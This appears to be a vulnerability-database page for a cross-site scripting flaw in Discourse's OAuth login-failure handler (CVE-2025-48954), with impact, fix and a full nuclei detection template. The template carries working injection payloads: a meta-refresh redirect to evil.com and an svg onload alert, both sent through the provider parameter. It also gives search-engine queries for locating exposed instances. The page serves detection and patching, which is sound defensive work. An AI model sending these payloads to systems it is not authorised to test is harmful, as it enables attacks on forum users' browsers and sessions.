HexBrain

Browse / CVEs / CVE-2025-48954

CVE-2025-48954· CWE-79

Discourse OAuth Social Login - Cross-site Scripting

highseverity
8.1CVSS score
0.7%likelihood of exploitation, next 30 days
55%of all CVEs are less likely
Readycheck to confirm it

Discourse versions prior to 3.5.0.beta6 contain a stored Cross-Site Scripting (XSS) vulnerability in the OAuth/social login functionality. The vulnerability is caused by lack of proper content security policy enforcement when processing social login failures,allowing remote attackers to inject and execute malicious scripts in users' browsers.

Impact

Attackers can inject malicious scripts through the provider parameter in OAuth login failures, executing JavaScript in victim browsers and potentially achieving session hijacking.

Fix

Update the discourse to version 3.5.0.beta6 or later.

How to confirm it

Send: GET {{BaseURL}}/auth/failure?provider={{redirect_payload}} ; GET {{BaseURL}}/auth/failure?provider={{basic_xss}}
Positive when: contains(body, "<meta http-equiv=\"refresh\" content=\"0;url=https://evil.com\">") and contains(to_lower(body), "discourse") and status_code == 200 OR contains(body, "onload=alert(") and contains(body, "XSS-CVE-2025-48954") and contains(to_lower(body), "discourse") and status_code == 200 and !contains(to_lower(header), "content-security-policy")

Run it with nuclei: nuclei -id CVE-2025-48954 -u <target>

The full check
id: CVE-2025-48954

info:
  name: Discourse OAuth Social Login - Cross-site Scripting
  author: ferreiraklet,DhiyaneshDK,pdresearch
  severity: high
  description: |
    Discourse versions prior to 3.5.0.beta6 contain a stored Cross-Site Scripting (XSS) vulnerability in the OAuth/social login functionality. The vulnerability is caused by lack of proper content security policy enforcement when processing social login failures,allowing remote attackers to inject and execute malicious scripts in users' browsers.
  impact: |
    Attackers can inject malicious scripts through the provider parameter in OAuth login failures, executing JavaScript in victim browsers and potentially achieving session hijacking.
  remediation: Update the discourse to version 3.5.0.beta6 or later.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-26p5-mjjh-wfcf
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48954
  classification:
    cve-id: CVE-2025-48954
    cwe-id: CWE-79
    epss-score: 0.00736
    epss-percentile: 0.54798
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cpe: cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    shodan-query: http.component:"Discourse"
    fofa-query: app="Discourse"
    zoomeye-query: app:"Discourse"
    hunter-query: web.title="Discourse"
  tags: cve,cve2025,discourse,xss,oauth,vuln

variables:
  # XSS payloads for different exploitation scenarios
  redirect_payload: "%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Dhttps%3A//evil.com%22%3E"
  basic_xss: "<svg/onload=alert('XSS-CVE-2025-48954')>"

http:
  - method: GET
    path:
      # Test 1: Open redirect via meta refresh injection
      - '{{BaseURL}}/auth/failure?provider={{redirect_payload}}'

      # Test 2: Basic XSS payload injection
      - '{{BaseURL}}/auth/failure?provider={{basic_xss}}'


    matchers:
      - type: dsl
        name: open-redirect-meta-refresh
        dsl:
          - 'contains(body, "<meta http-equiv=\"refresh\" content=\"0;url=https://evil.com\">")'
          - 'contains(to_lower(body), "discourse")'
          - 'status_code == 200'
        condition: and

      - type: dsl
        name: basic-xss-execution
        dsl:
          - 'contains(body, "onload=alert(")'
          - 'contains(body, "XSS-CVE-2025-48954")'
          - 'contains(to_lower(body), "discourse")'
          - 'status_code == 200'
          - '!contains(to_lower(header), "content-security-policy")'
        condition: and

    extractors:
      - type: regex
        name: discourse_version
        group: 1
        regex:
          - '<meta name="generator" content="Discourse ([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
          - "(?i)discourse['\"]?\\s*:\\s*['\"]?([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"
          - "(?i)x-discourse-version:\\s*([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"
          - '"version"\\s*:\\s*"([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"'
          - '<!-- Discourse ([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
          - '/assets/discourse-([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
          - "(?i)discourse[^\"']*?([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"

References

Use this check only on systems you are authorised to test. Where the data comes from